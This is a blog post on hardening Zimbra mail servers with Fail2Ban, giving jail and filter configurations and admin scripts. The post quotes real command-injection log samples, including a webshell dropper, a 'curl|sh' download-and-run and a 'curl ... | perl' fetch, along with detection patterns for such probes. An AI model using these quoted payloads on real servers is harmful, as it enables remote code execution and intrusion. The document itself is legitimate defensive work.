Zimbra Fail2Ban Best Practices – Updated for 2026

Zimbra Fail2Ban Best Practices – Updated for 2026

This post contains our current Zimbra Fail2Ban Best Practices and will show you how to configure Fail2Ban optimally on your Zimbra servers. Bad actors, overly aggressive marketing companies and others clog up our Inboxes with unwanted emails, and increase the load on our Zimbra servers. While Fail2Ban will effectively block spammers, it’s not enough on its own. Please consult our Anti-Spam Best Practices post; the techniques in that post, together with the techniques in this post, will help keep your users’ Inboxes as free of spam as is practicable.

For 2026, we’ve implemented “progressive ban time extensions”. Previously, we would ban an IP for like 3 months. That resulted in having to manually unban customers’ office IP addresses when a single new employee for example repeatedly retried a bad password. Now, we ban an IP for an hour, but if the IP continues to repeat bad behavior, the next time we ban the IP, we ban it for a longer period of time. Banned a third time? The IP gets banned for a day. A fourth time? A week. A fifth time, and every time thereafter? We ban for 90 days. Our experience has been that this gives customers’ system administrators a window in which to correct the issue; only upsetting users for a short time (initially) and reducing the need for us to manually unban an IP, only for it to get rebanned again shortly thereafter (for a long time), requiring yet another manual unban once the root cause is addressed.

In August 2026, we abandoned using “route” as the Fail2Ban action in favor of individual ipsets for each jail. We also did major filter adjustments, and added two new jails to deal with a wave of command-injection probes. This blog post was almost entirely rewritten accordingly.

Level Set: What Is Fail2Ban?
Fail2Ban is a longstanding python application that scans log files for user-defined regular expressions containing IP addresses, and when a regular expression is found in sufficient numbers over a user-defined time period, performs a user-defined action–typically a ban of the offending IP address. The regular expressions sought are documented in one or more “filter” files, and the action screening criteria and actual action to take are described in “jail” files. Fail2Ban is distributed with pretty much all Linux operating systems, and is maintained via GitHub. Fail2Ban runs as an operating system service and maintains a database of observed and banned IP addresses and their metadata found via filters, to see if/when an IP meets the criteria for banning (and unbanning automatically) as described in the companion jail configuration file. The status of banned IPs is stored in a database; the default installation uses SQLite, which is what we use.

This blog post presumes you have performed a basic Fail2Ban installation already on your Proxy/MTA servers; we’ll now customize Fail2Ban for Zimbra. We no longer install Fail2Ban on mailbox servers.
Why Individual ipsets Instead Of “route”?
For years we used Fail2Ban’s route action, which installs a blackhole route (ip route add unreachable) for each banned IP. It works, needs no firewall configuration at all, and the kernel handles thousands of entries efficiently.

The problem is that the routing table holds exactly one entry per address, with no record of which jail put it there. When two jails ban the same IP–which becomes routine once several jails are reading the same nginx log–they collide. The second jail’s ban fails with “File exists”. Worse, when the shorter ban expires, that jail deletes the route, and the jail holding the longer ban never notices: an address meant to be blocked for 90 days is quietly released after an hour, with Fail2Ban still believing it is banned and therefore never re-adding it.

With iptables-ipset-proto6-allports, each jail gets its own kernel ipset (f2b-zimbra-smtp, f2b-zimbra-uri and so on) and one matching iptables rule. Two jails can hold the same address independently, and one jail’s unban cannot cancel another’s. Lookups stay fast because an ipset is a kernel hash table. The allports variant blocks the address entirely rather than per-service, preserving the all-or-nothing behavior we had with blackhole routes.

A note on the name: “proto6” refers to the ipset protocol version, not IPv6. Fail2Ban shipped separate actions for the older ipset protocol 4 syntax and the protocol 6+ syntax. IPv4 versus IPv6 is handled separately and automatically.
Zimbra Fail2Ban Best Practices Implementation Steps
To recap, Fail2Ban relies on a global jail.local file, a Zimbra-specific jail file that, for each matching filter file, lists the log file to parse and how to handle banning, and; filter files which contain the regular expressions to look for in the log file corresponding to that filter:jail combination.

Let’s look at the global /etc/fail2ban/jail.local file first, which must list the networks Fail2Ban should ignore–typically the networks or IPs of the Zimbra servers themselves, plus the localhost network.

The ignoreip values below should be your own; the easy way to find them is to run, as the zimbra user, zmprov gs `zmhostname` zimbraMtaMyNetworks and use what it returns. So the file should look something like this:

[DEFAULT]
# "ignoreip" can be a list of IP addresses, CIDR masks or DNS hosts. Fail2ban will not ban a host which matches an address in this list.
# Several addresses can be defined using space (and/or comma) separator.
# NOTE: this [DEFAULT] applies to EVERY jail on the box, including sshd.
ignoreip = 127.0.0.0/8 ::1 10.7.57.0/24 10.8.0.0/19 10.8.32.0/19

A Trap Worth Knowing About: dbpurgeage
Fail2Ban keeps its ban history in the SQLite database, and purges records older than dbpurgeage. The default is one day. Two things depend on that history: Fail2Ban restores active bans from the database when the service restarts, and bantime.increment counts a repeat offender’s previous bans. So if you use ban times longer than the purge age–and our progressive schedule goes to 90 days, with 180 for command-injection probes–you need to raise it.

Here is the trap. dbpurgeage is a server setting, not a jail setting. Put it in jail.local and Fail2Ban accepts the file, lints perfectly clean, and quietly carries on using the one-day default. We ran it that way for a considerable time before noticing. It belongs in /etc/fail2ban/fail2ban.local:

[Definition]
dbpurgeage = 181d

Verify it actually took effect, because nothing else will tell you:

[root@securemail ~]# fail2ban-client get dbpurgeage
Current database purge age is:
`- 15638400seconds

If that returns 86400 you are still on the default. The other way to see it is to ask the database for its oldest record; if the oldest ban in every jail is about 24 hours old, purging is happening nightly:

[root@securemail ~]# sqlite3 /var/lib/fail2ban/fail2ban.sqlite3 \
  "select jail, count(*), min(datetime(timeofban,'unixepoch')) from bans group by jail;"

 
Let’s next look at the Zimbra-specific jail file located at /etc/fail2ban/jail.d/zimbra.local:

[DEFAULT]
findtime    = 86400
logencoding = utf-8
bantime     = 1h
bantime.increment = true
bantime.multipliers = 1 4 24 168 2160
action      = iptables-ipset-proto6-allports
 
# --- MTA hosts ------------------------------------------------------------
[zimbra-smtp]
enabled  = true
filter   = zimbra-smtp
port     = 25,465,587
logpath  = /var/log/zimbra.log
maxretry = 2
 
# Non-SMTP commands on the submission ports: nothing legitimate does this.
# Ban on sight.
[zimbra-nonsmtp]
enabled  = true
filter   = zimbra-nonsmtp
port     = 465,587
logpath  = /var/log/zimbra.log
maxretry = 1
 
# Command-injection probes are unambiguously hostile: ban on sight, 6 months,
# no escalation ladder needed at that duration.
[zimbra-cmdinject]
enabled  = true
filter   = zimbra-cmdinject
port     = 25,465,587
logpath  = /var/log/zimbra.log
maxretry = 1
bantime  = 180d
bantime.increment = false
 
# --- Proxy hosts ----------------------------------------------------------
[zimbra-nginx]
enabled  = true
filter   = zimbra-nginx
port     = 80,443
logpath  = /opt/zimbra/log/nginx.log
maxretry = 1
 
# Wrong password on an account that EXISTS. maxretry is deliberately looser
# than the other jails: a customer device with a stale saved password lands
# here, and the ban action is all-ports.
[zimbra-nginx-authfail]
enabled  = true
filter   = zimbra-nginx-authfail
port     = 143,993,110,995
logpath  = /opt/zimbra/log/nginx.log
maxretry = 3
 
# Login attempts for accounts that do NOT exist: enumeration, or a device
# still configured for a departed user.
[zimbra-imap-auth]
enabled  = true
filter   = zimbra-imap-auth
port     = 143,993,110,995
logpath  = /opt/zimbra/log/nginx.log
maxretry = 2
 
[zimbra-uri]
enabled  = true
filter   = zimbra-uri
port     = 80,443
logpath  = /opt/zimbra/log/nginx.access.log
maxretry = 1

 
Install only the jails relevant to the host: the three MTA jails on an MTA, the four Proxy jails on a Proxy, and all seven on a combined Proxy/MTA server.

Note above the entries in the “[DEFAULT]” section, which are then “inherited” by all of the other jails unless specifically overwritten. The “[zimbra-cmdinject]” jail for example straightaway bans an IP found by the corresponding filter for 180 days. When you see the corresponding filter below, you’ll understand why!

The “[DEFAULT]” section is also where we program “progressive banning” (1 hour, then 4 hours for repeat offenders, then a day and so on), that we are looking across a full day’s worth of activity (86400 seconds) and that we are going to use individual jail-specific ipsets.

One deliberate choice worth calling out: findtime is a full 24 hours rather than the more common hour. Abusive clients frequently retry on multi-hour intervals–we have watched a single source probe every 25 minutes, all day–and such an IP would never accumulate enough hits inside a one-hour window to trip anything.

Also note that under an allports action the port setting is documentation only; the ban is IP-wide.

Now let’s look at each of the separate filter files…
/etc/fail2ban/filter.d/zimbra-smtp.conf:

# Zimbra / Postfix: SASL authentication failures.
#
# Non-SMTP command garbage is handled by the separate zimbra-nonsmtp jail,
# which bans on the first hit. Keep the two apart: a real user can fat-finger
# a password, but nothing legitimate ever sends non-SMTP garbage.
#
# NOTE: use \S+ not \w+ before [<HOST>] -- \w excludes dots, so \w+ only
# matches clients WITHOUT reverse DNS (e.g. "unknown[1.2.3.4]") and lets
# anything with rDNS ("mail.example.com[1.2.3.4]") straight through.
[Definition]
failregex = postfix\/submission\/smtpd\[\d+\]: warning: .*\[<HOST>\]: SASL \w+ authentication failed: authentication failure
            postfix\/smtpd\[\d+\]: warning: .*\[<HOST>\]: SASL \w+ authentication failed: authentication failure
            postfix\/smtps\/smtpd\[\d+\]: warning: .*\[<HOST>\]: SASL \w+ authentication failed: authentication failure
            postfix\/smtpd\[\d+\]: warning: non-SMTP command from \S+\[<HOST>\]:
            postfix\/postscreen\[\d+\]: NON-SMTP COMMAND from \S*\[<HOST>\]:
ignoreregex =

A note on that last pattern: Postfix’s postscreen logs the client as a bare [1.2.3.4]:5678 with no hostname in front of the bracket, unlike smtpd which logs unknown[1.2.3.4]. So the postscreen line needs \S* (zero or more) where the others use \S+. We ran a \S+ there for a long time; it compiled cleanly, linted cleanly, and never matched a single line.

Some sites add their own local heuristics to this filter. We have carried rules like the ones below for years, targeting specific spam campaigns we saw; they are legitimate (a HELO of 127.0.0.1 or an RFC1918 address is never valid from the public Internet) but they are examples rather than general advice, and they will silently stop matching as campaigns move on. Check yours occasionally with fail2ban-regex, which reports a per-pattern hit count, and delete the ones that have gone to zero:

            postfix\/smtpd\[\d+\].*amazonaws\.com\[<HOST>\]:.*@yahoo\.com>.*helo=<\[127\.0\.0\.1\]>
            postfix\/smtpd\[\d+\].*amazonaws\.com\[<HOST>\]:.*@yahoo\.com>.*helo=<127\.0\.0\.1>
            postfix\/smtpd\[\d+\].*unknown\[<HOST>\]:.*helo=<\[192\.168\.[0-9.]+\]>
            postfix\/smtpd\[\d+\].*unknown\[<HOST>\]:.*helo=<192\.168\.[0-9.]+>
            postfix\/smtpd\[\d+\]: NOQUEUE: filter: RCPT from ec2-.*\.compute\.amazonaws\.com\[<HOST>\]: .*\.compute\.amazonaws\.com>

 
/etc/fail2ban/filter.d/zimbra-nonsmtp.conf:

# Non-SMTP commands on the SUBMISSION ports (587 / 465).
#
# These ports serve authenticated mail clients only. A client that speaks
# something other than SMTP there is a scanner, a protocol-confusion probe,
# or the opening move of an injection attempt -- never a real user. Banned
# on the first hit.
#
# Port 25 is deliberately NOT covered here; those patterns stay in
# zimbra-smtp at a looser maxretry, because a badly-behaved but legitimate
# sending MTA can occasionally trip postscreen.
[Definition]
failregex = postfix\/submission\/smtpd\[\d+\]: warning: non-SMTP command from \S+\[<HOST>\]:
            postfix\/smtps\/smtpd\[\d+\]: warning: non-SMTP command from \S+\[<HOST>\]:
ignoreregex =

This one is new for August 2026. The submission ports serve authenticated mail clients and nothing else, so a client that speaks something other than SMTP there is never a real user. In practice it is the opening move of an injection attempt; the probe below arrived on our own server and tripped this jail and the next one within the same second:

Aug 21 15:53:34 mail2 postfix/submission/smtpd[3264918]: warning: non-SMTP command from unknown[38.60.206.115]: Subject: probe

 
/etc/fail2ban/filter.d/zimbra-cmdinject.conf:

# Command injection attempts in the SMTP envelope -- the CVE-2024-45519
# postjournal probe pattern and variants. Shell metacharacters or Zimbra
# webapp paths inside a quoted local-part.
# These are already rejected by Postfix; this jail bans the source.
#
# The same payload arrives via three different Postfix messages, so there
# are three pattern pairs:
#   1,2  NOQUEUE: reject: RCPT ... from=<"..."> / to=<"...">
#   3,4  warning: Illegal address syntax ... in RCPT command: <"...">
#   5    postscreen protocol violations on port 25 (COMMAND PIPELINING,
#        NON-SMTP COMMAND, BARE NEWLINE) where it never reaches RCPT
#
# Every pattern is anchored at line start. The payload is attacker-
# controlled and a quoted local-part can legally contain anything,
# including a forged "RCPT from unknown[8.8.8.8]:" sequence. Without the
# anchor an attacker could steer <HOST> at an address of their choosing.
#
# Use .* and not [^"]* around the metacharacter: payloads routinely embed
# double quotes (curl -sSL "http://..."), which [^"]* cannot span. <HOST>
# is captured before this point, so the greedy .* cannot affect it.
#
# postscreen logs a bare "[ip]:port" with no hostname, hence \S* there
# rather than \S+.
[Definition]
failregex = ^\s*\S+ postfix/\S*smtpd\[\d+\]: NOQUEUE: reject: RCPT from \S+\[<HOST>\]:.*\b(?:from|to)=<".*(?:;|\||`|\$\(|\$\{).*"@
            ^\s*\S+ postfix/\S*smtpd\[\d+\]: NOQUEUE: reject: RCPT from \S+\[<HOST>\]:.*\b(?:from|to)=<".*(?:/opt/zimbra/|webapps/zimbra).*"@
            ^\s*\S+ postfix/\S*smtpd\[\d+\]: warning: Illegal address syntax from \S+\[<HOST>\] in \S+ command: <".*(?:;|\||`|\$\(|\$\{).*"@
            ^\s*\S+ postfix/\S*smtpd\[\d+\]: warning: Illegal address syntax from \S+\[<HOST>\] in \S+ command: <".*(?:/opt/zimbra/|webapps/zimbra).*"@
            ^\s*\S+ postfix/postscreen\[\d+\]: [A-Z][A-Z -]+ from \S*\[<HOST>\]:\d+ after \S+.*(?:;|\||`|\$\(|\$\{)
ignoreregex =

This one deserves an explanation. The attack puts a shell command inside the SMTP envelope sender or recipient, aiming at Zimbra’s postjournal service, and looks like this in /var/log/zimbra.log:

Aug 15 01:34:30 securemail postfix/submission/smtpd[3643266]: NOQUEUE: reject: RCPT from unknown[185.248.86.47]: 554 5.7.1 <unknown[185.248.86.47]>: Client host rejected: Access denied; from=<"x: Service status change: z ;echo q35amito9e > /opt/zimbra/jetty_base/webapps/zimbra/public/zdet_q35amito9e; changed from stopped to running"@example.com> to=<ads-support@google.com> proto=ESMTP helo=<scan.invalid>

The echo <random> > …/public/zdet_<random> is a canary drop: the attacker writes a uniquely-named file into a web-reachable directory, then fetches it over HTTP to confirm the host is exploitable before doing anything real.

A later variant we saw skipped the canary and went straight for a webshell, assembling it from a blob staged elsewhere on disk:

from=<"x: Service status change: z chmod u+w /opt/zimbra/jetty/webapps/zimbra/js;c=$(cat /opt/zimbra/data/tmp/snmpc_*|wc -c);[ $c -eq 649 ]&&cat /opt/zimbra/data/tmp/snmpc_*|base64 -d|gunzip -c>/opt/zimbra/jetty/webapps/zimbra/js/1nqkqmsk.jsp;rm -f /opt/zimbra/data/tmp/snmpc_* changed from stopped to running"@example.com>

The same payload family also arrives two other ways, which is why the filter has five patterns rather than two. Sometimes Postfix rejects it earlier, as malformed address syntax rather than a policy rejection:

warning: Illegal address syntax from unknown[143.106.202.51] in RCPT command: <"x: Service status change: localhost $(/bin/bash -c 'if command -v curl >/dev/null 2>&1; then curl -sSL "http://example.invalid/xss" | perl; ...') changed from stopped to running"@cve.invalid>

Note the embedded double quotes in that one. An earlier version of our filter used [^”]* around the payload, which cannot span them; it matched the older probes and silently missed this one. The patterns now use .*, which is safe because <HOST> has already been captured earlier in the expression.

And on port 25 it can arrive as a raw protocol violation that postscreen catches before the session ever reaches RCPT:

postfix/postscreen[10821]: COMMAND PIPELINING from [144.208.127.203]:36478 after VRFY: : Service status change: h pwn;curl${IFS}144.208.127.203|sh;# changed from stopped to running

That last pattern requires a shell metacharacter in the payload, so an honestly-broken MTA that merely pipelines early is not banned. ${IFS} there is a space-free bypass, and the download host is the sending address itself.

Patched Zimbra versions reject all of these, and setting zmacl enable prevents writes to the public directory–but there is no reason to let a host that sends them keep talking to you, hence the 180-day ban.

Three details in the filter are worth understanding. First, the payload appears in either from= or to= depending on the variant, so both are checked. Second, the path is sometimes absolute (/opt/zimbra/jetty_base/…) and sometimes relative (mailboxd/webapps/zimbra/…), and older variants target /opt/zimbra/jetty/ rather than jetty_base, so the filter matches on webapps/zimbra as well. If you go hunting through your own logs, grep for webapps/zimbra rather than jetty_base or you will miss half of them.

Third, and most important, the pattern is anchored at the start of the line. A quoted local-part can legally contain almost anything–including a convincing forgery of the log line’s own structure. Without the anchor, an attacker could embed NOQUEUE: reject: RCPT from unknown[8.8.8.8]: inside the payload and steer your ban at an address of their choosing. We tested exactly that against the anchored version; it correctly extracts the real client.
 
/etc/fail2ban/filter.d/zimbra-nginx.conf:

# Zimbra nginx ERROR log: malformed protocol traffic (TLS to a plaintext
# port, non-HTTP methods, scanner probes).
#
# NOTE: both patterns are logged by nginx at [info] level, so this filter
# depends on zimbraReverseProxyLogLevel remaining at 'info'. Raise the log
# level and this jail silently stops matching.
[Definition]
failregex = client\s+sent\s+plain\s+HTTP\s+request\s+to\s+HTTPS\s+port\s+while\s+reading\s+client\s+request\s+headers,\s+client:\s+<HOST>,\s+server
            client\s+sent\s+invalid\s+method\s+while\s+reading\s+client\s+request\s+line,\s+client:\s+<HOST>,\s+server
ignoreregex =
datepattern = %%Y/%%m/%%d %%H:%%M:%%S

 
/etc/fail2ban/filter.d/zimbra-nginx-authfail.conf:

# nginx mail-proxy: password rejected for an account that EXISTS.
# (Counterpart to zimbra-imap-auth, which catches "user not found".)
# Verified: logs once per event, no double-count.
#
# NOTE: nginx's MAIL proxy logs "client: <ip>:<port>" (unlike the HTTP
# error log, which has no port). <HOST> does not consume the port.
[Definition]
failregex = upstream sent invalid response: "NO AUTHENTICATE failed" while reading response from upstream, client: <HOST>:\d+,
ignoreregex =
datepattern = %%Y/%%m/%%d %%H:%%M:%%S

 
/etc/fail2ban/filter.d/zimbra-imap-auth.conf:

# Zimbra nginx mail-proxy auth failures (IMAP/POP): account does not exist.
#
# NOTE: Zimbra logs each proxy auth failure TWICE -- once as "zm lookup:"
# and once as "An error occurred in mail zmauth:". Match only ONE form or
# every attempt is counted double and maxretry is effectively halved.
#
# NOTE: the account name is attacker-controlled and appears BEFORE the
# client address. \S* (not .*) prevents a crafted username containing
# spaces from spanning into the client: field and steering <HOST>.
[Definition]
failregex = \[error\] \d+#\d+: \*\d+ zm lookup: .* user not found:\S* while SSL handshaking to lookup handler, client: <HOST>(?::\d+)?, server:
ignoreregex =
datepattern = %%Y/%%m/%%d %%H:%%M:%%S

 
/etc/fail2ban/filter.d/zimbra-uri.conf:

# Zimbra nginx ACCESS log: exploit-attempt URIs and secret-scanning.
#
# NOTE: Zimbra logs "remote_addr:remote_port" as field 1, so <HOST> must be
# followed by an optional :port -- same gotcha as the mail-proxy error log.
# NOTE: the request line contains an ABSOLUTE URL (https://host/path), not
# just the path; the leading [^"]* in each pattern absorbs scheme+host.
# NOTE: the Autodiscover rule is restricted to HTTP 400 so that working
# Outlook clients are not banned.
[Definition]
failregex = ^<HOST>(?::\d+)? .* "(?:GET|POST|PUT) [^"]*/service/extension/backup/mboximport\b[^"]*" \d{3}
            ^<HOST>(?::\d+)? .* "(?:GET|POST) [^"]*/service/extension/clientUploader/upload\b[^"]*" \d{3}
            ^<HOST>(?::\d+)? .* "(?:GET|POST) [^"]*[Aa]uto[Dd]iscover(?:\.xml)?[^"]*" 400
            ^<HOST>(?::\d+)? .* "(?:GET|POST) [^"]*(?:\.\./|%%2e%%2e/|%%2e%%2e%%2f)[^"]*" \d{3}
            ^<HOST>(?::\d+)? .* "(?:GET|POST) [^"]*/\.(?:git|env|svn)\b[^"]*" \d{3}
ignoreregex =
datepattern = %%d/%%b/%%Y:%%H:%%M:%%S %%z

The mboximport and clientUploader endpoints are the ones associated with CVE-2022-27925 / CVE-2022-37042 and CVE-2022-30333. No legitimate external client touches either, at any HTTP status code, so a single hit is a fair ban. We deliberately do not include a rule for /service/proxy?target= (CVE-2019-9621), because some third-party zimlets legitimately use ProxyServlet; add it only if you are certain you run none.
 
A Word On maxretry
You may want to increase the maxretry parameter when you first introduce Fail2Ban into your organization, to give users some runway on entering bad credentials, and then reduce the maxretry value down over time, after notifying users of the impending tightening up. As configured above we are essentially banning IP addresses after two failed SMTP-Auth login attempts, two failed IMAP/POP attempts against an account that does not exist, and three failed IMAP/POP attempts against an account that does. The three “never legitimate” jails–zimbra-nonsmtp, zimbra-cmdinject and zimbra-uri–ban on the first hit.

Note that none of these jails see webmail login failures. Zimbra’s nginx authenticates the IMAP/POP proxy, but passes HTTPS straight through to the mailbox server, so a failed web client login is only recorded on the mailbox–and we no longer run Fail2Ban there. Account-level controls such as zimbraPasswordLockoutEnabled remain important for that reason. They are also your only real defense against a distributed attack: we routinely see credential-stuffing runs where fifty different source addresses each make exactly one attempt, which no per-IP threshold will ever catch.

After you have created all of these files, you’ll want to “lint” your Fail2Ban installation:

[root@securemail ~]# fail2ban-client -t
OK: configuration test is successful

Be aware of what that does and does not tell you. It confirms your files parse and your regular expressions compile. It says nothing about whether a pattern ever matches a real log line–a filter with a typo in it will lint perfectly and quietly ban nobody, forever. So before reloading, test each filter against the actual log:

[root@securemail ~]# fail2ban-regex /opt/zimbra/log/nginx.log /etc/fail2ban/filter.d/zimbra-imap-auth.conf | grep -E "^(Failregex|Lines):"
Failregex: 74 total
Lines: 79559 lines, 0 ignored, 74 matched, 79485 missed

Then sanity-check that number against a plain grep of the same log. If Fail2Ban reports roughly double what grep finds, you are matching the same event twice and your effective maxretry is half what you think it is. Run fail2ban-regex without the grep to get the per-pattern breakdown; any line showing zero hits is either a filter you do not need or a filter that does not work, and it is worth knowing which.

You can then reload Fail2Ban with your updated configurations:

[root@securemail ~]# fail2ban-client reload
OK

One caveat: reload rebuilds the regular expressions but keeps each jail’s existing file handle and byte offset. If you edit a filter shortly after a log rotation, the jail can be left pointing past the end of the new, much smaller file and will silently read nothing. If a jail stops finding events it should be finding, use fail2ban-client restart <jail> and confirm the new position looks sane against the current file size:

[root@securemail ~]# grep 'Added logfile' /var/log/fail2ban.log | tail -3

 
Why Did My IP Get Banned???
Legitimate users sometimes find their IPs get banned. The root cause is typically “PEBCAC”, but that’s not the kind/friendly answer… Instead, we developed a script to help Zimbra Administrators answer that question diplomatically. It requires the sqlite3 binary, which you may need to install separately. Suggest populating the script at /usr/local/bin/f2b-why with the following contents:

#!/bin/bash
# f2b-why <ip> -- is this IP banned, by which jail, and why?
#
# Runs unprivileged, but 'ipset test' needs CAP_NET_ADMIN and the Fail2Ban
# database is mode 0600 root. Without those the ban state CANNOT be
# determined, so it is reported as UNKNOWN rather than "not banned" --
# reporting a banned customer as unbanned is the worst possible answer on
# a support call.
IP="$1"
[ -z "$IP" ] && { echo "Usage: f2b-why <ip>"; exit 1; }
 
# The argument is interpolated into a SQL string below; accept only a bare
# IPv4/IPv6 address with an optional prefix length.
if ! [[ "$IP" =~ ^[0-9]{1,3}(\.[0-9]{1,3}){3}(/[0-9]{1,2})?$ ]] \
&& ! [[ "$IP" =~ ^[0-9A-Fa-f:]+(/[0-9]{1,3})?$ ]]; then
    echo "Not a valid IP address: $IP" >&2
    exit 1
fi
 
IS_ROOT=0; [ "$(id -u)" -eq 0 ] && IS_ROOT=1
 
echo "=== $IP ==="
[ "$IS_ROOT" -eq 0 ] && echo "(Not running as root - ban state and history unavailable.)"
echo
 
# --- Current ban state, per jail ---
FOUND=0
if [ "$IS_ROOT" -eq 1 ]; then
    for S in $(ipset list -n 2>/dev/null | grep '^f2b-'); do
      if ipset test "$S" "$IP" >/dev/null 2>&1; then
        JAIL="${S#f2b-}"
        LEFT=$(ipset list "$S" | awk -v ip="$IP" '$1==ip {for(i=1;i<=NF;i++) if($i=="timeout") print ($(i+1)=="0" ? "PERMANENT" : $(i+1)"s left")}')
        echo "Banned by $JAIL  ${LEFT:-no timeout}"
        FOUND=1
      fi
    done
    [ "$FOUND" -eq 0 ] && echo "Not currently banned"
else
    echo "Ban state: UNKNOWN (re-run as root to determine)"
fi
echo
 
# --- Recent log activity (trailing referer/UA/upstream fields trimmed) ---
echo "--- Why (recent matches) ---"
MATCHED=0
for L in /var/log/zimbra.log /opt/zimbra/log/nginx.log /opt/zimbra/log/nginx.access.log; do
  if [ ! -r "$L" ]; then
    [ -e "$L" ] && echo "[$L: not readable by $(id -un)]"
    continue
  fi
  N=$(grep -ac "$IP" "$L" 2>/dev/null)
  if [ "$N" -gt 0 ]; then
    MATCHED=1
    echo "[$L: $N lines]"
    grep -a "$IP" "$L" | tail -3 \
      | sed -E 's/ upstream:.*$//' \
      | sed -E 's/ "https?:\/\/[^"]*" "Mozilla.*$//; s/ "-" "[^"]*" "[^"]*" "[^"]*"$//'
    echo
  fi
done
[ "$MATCHED" -eq 0 ] && { echo "No activity in today's logs."; echo; }
 
# --- Which accounts are failing (includes rotated logs) ---
echo "--- Accounts failing from this IP ---"
ACCTS=$(zgrep -ah "$IP" /opt/zimbra/log/nginx.log /opt/zimbra/log/nginx.log-* 2>/dev/null \
  | grep -aE 'NO AUTHENTICATE failed|user not found' \
  | grep -ao 'login: "[^"]*"' | sort | uniq -c | sort -rn)
if [ -n "$ACCTS" ]; then printf '%s\n' "$ACCTS"; else echo "None."; fi
echo
 
# --- Ban history from the database (survives log rotation) ---
echo "--- Ban history ---"
if [ "$IS_ROOT" -eq 1 ]; then
    HIST=$(sqlite3 /var/lib/fail2ban/fail2ban.sqlite3 \
      "select jail, datetime(timeofban,'unixepoch'), bantime from bans where ip='$IP' order by timeofban desc limit 5;" 2>/dev/null)
    if [ -n "$HIST" ]; then printf '%s\n' "$HIST"; else echo "None on record."; fi
else
    echo "UNKNOWN (re-run as root to determine)"
fi
 
# --- Only offer the release command if there is something to release ---
if [ "$FOUND" -eq 1 ]; then
  echo
  echo "To release:  fail2ban-client unban $IP"
fi

Two design points in that script are worth stealing even if you write your own.

It runs unprivileged but says so. ipset test needs CAP_NET_ADMIN and the Fail2Ban database is mode 0600 root, so run as the zimbra user both checks fail silently. An earlier version of ours cheerfully reported “not currently banned” about an address that was in fact permanently banned–the worst possible answer to give a customer on the phone. It now reports UNKNOWN for the sections it cannot check, while still showing the log activity, which the zimbra user can read.

And it validates its argument. The IP is interpolated into a SQL query, so anything that is not a bare address is rejected before it gets there.

The “Accounts failing” section is the most useful part in practice. More often than not the answer is not an attacker at all, but one device at the customer’s office with a stale saved password–a phone belonging to an employee who left, still retrying every couple of hours. The script names the account, which is exactly what you need to tell them.

To release an IP:

[root@securemail ~]# fail2ban-client unban 203.0.113.45

That clears the address from every jail at once and resets its escalation history, so the customer does not jump straight back to a long ban on their next mistake.
 
How Many IPs Have Been Banned, and, By Which Filter?
We have a script for that one too! This will create the script for you:

cat > /usr/local/bin/f2b-count << 'SCRIPT'
#!/bin/bash
for s in $(ipset list -n 2>/dev/null | grep '^f2b-'); do
  printf '%s %s\n' "${s#f2b-}" "$(ipset list "$s" | grep -c '^[0-9]')"
done | awk '{printf "%-30s %6d\n", $1, $2; t+=$2} END {printf "%-30s %6d\n", "TOTAL", t}'
SCRIPT
chmod +x /usr/local/bin/f2b-count

That script’s output looks like this:

[root@mail2 ~]# f2b-count
zimbra-smtp                      4012
zimbra-nginx-authfail               5
zimbra-nginx                       21
zimbra-imap-auth                   17
zimbra-uri                          2
zimbra-cmdinject                    5
TOTAL                            4062

The vast majority of bans are for bad actors’ IP addresses trying to brute-force credentials on the Submission ports, TCP 465 and 587.

The total counts entries, not unique addresses: an IP held by two jails counts twice, which is correct behavior now that each jail owns its own set.
 
SQLite Database Maintenance
For maintenance, we recommend running a “vacuum” against the sqlite database periodically. To root’s crontab we have added:

0 2 * * 0 /usr/bin/sqlite3 /var/lib/fail2ban/fail2ban.sqlite3 'vacuum;'

In a somewhat busy system that had been running Fail2Ban for several months, we ran the vacuum manually and noticed a significant reduction in the database size, like so:

root@zimbra:~# ls -alh /var/lib/fail2ban/fail2ban.sqlite3
-rw------- 1 root root 12M Jul 11 12:37 /var/lib/fail2ban/fail2ban.sqlite3
root@zimbra:~# /usr/bin/sqlite3 /var/lib/fail2ban/fail2ban.sqlite3 'vacuum;'
root@zimbra:~# ls -alh /var/lib/fail2ban/fail2ban.sqlite3
-rw------- 1 root root 8.4M Jul 11 12:38 /var/lib/fail2ban/fail2ban.sqlite3

You can see above that the database size went from 12M to 8.4M after the vacuum.

VACUUM needs a brief exclusive lock on the database. Fail2Ban does not hold long transactions so this normally just works, but if it ever reports “database is locked” the vacuum is simply skipped until the next run. Do not be tempted to truncate the file while the service is running; that will corrupt it. If you genuinely want a clean slate, stop the service, move the file aside, and start again.
 
Zimbra Fail2Ban Best Practices Conclusions
Implementing Fail2Ban is straightforward and will greatly increase the level of protection provided to your end users from bad actors’ emails. Deploying Fail2Ban provides a net positive performance impact as well.

If we had to leave you with one piece of advice beyond the configuration above, it would be this: a Fail2Ban filter that compiles but never matches fails silently. In preparing this update we found a jail on our own production servers that had been pointed at the wrong filter file for months, quietly banning nobody; a filter whose regular expression had never matched a single line because Zimbra logs the client as address:port rather than a bare address; and the postscreen \S+ problem described earlier. All three linted cleanly the entire time. Test every filter against real log data with fail2ban-regex, compare the count against a plain grep, and re-check after any change.

By the way, if you are inexperienced when it comes to regular expressions, or you just want a place to validate your proposed regular expressions, I recommend creating a Claude account.

If you’d like help with your Fail2Ban deployment or other Zimbra security enhancing task, please start the conversation by filling out this form:

← Back

Thank you for your response. ✨

 

Hope that helps,
L. Mark Stone
Mission Critical Email LLC
21 May 2023
Updated 11 July 2023, to add vacuuming of the sqlite database.
Updated 7 October 2024, to incorporate filter regular expression improvements.
Updated 18 August 2026 to remove “route” banning action in favor of jail-specific ipsets, and, to provide updated filter files.
Updated 21 August 2026 to correct filter files in which the <HOST> token had been stripped by the blog editor; to add the zimbra-cmdinject and zimbra-nonsmtp filters; to fix the postscreen pattern; to repair the f2b-why script; and to move dbpurgeage to fail2ban.local, where it actually takes effect.
Updated 28 August 2026 to move dbpurgeage from jail.local to fail2ban.local, where it actually takes effect; to add filter patterns for two further command-injection delivery paths (Illegal address syntax, and postscreen protocol violations on port 25); and to replace [^”]* with .* in the zimbra-cmdinject patterns, which could not span payloads containing embedded double quotes.

The information provided in this blog is intended for informational and educational purposes only. The views expressed herein are those of Mr. Stone personally. The contents of this site are not intended as advice for any purpose and are subject to change without notice. Mission Critical Email makes no warranties of any kind regarding the accuracy or completeness of any information on this site, and we make no representations regarding whether such information is up-to-date or applicable to any particular situation. All copyrights are reserved by Mr. Stone. Any portion of the material on this site may be used for personal or educational purposes provided appropriate attribution is given to Mr. Stone and this blog.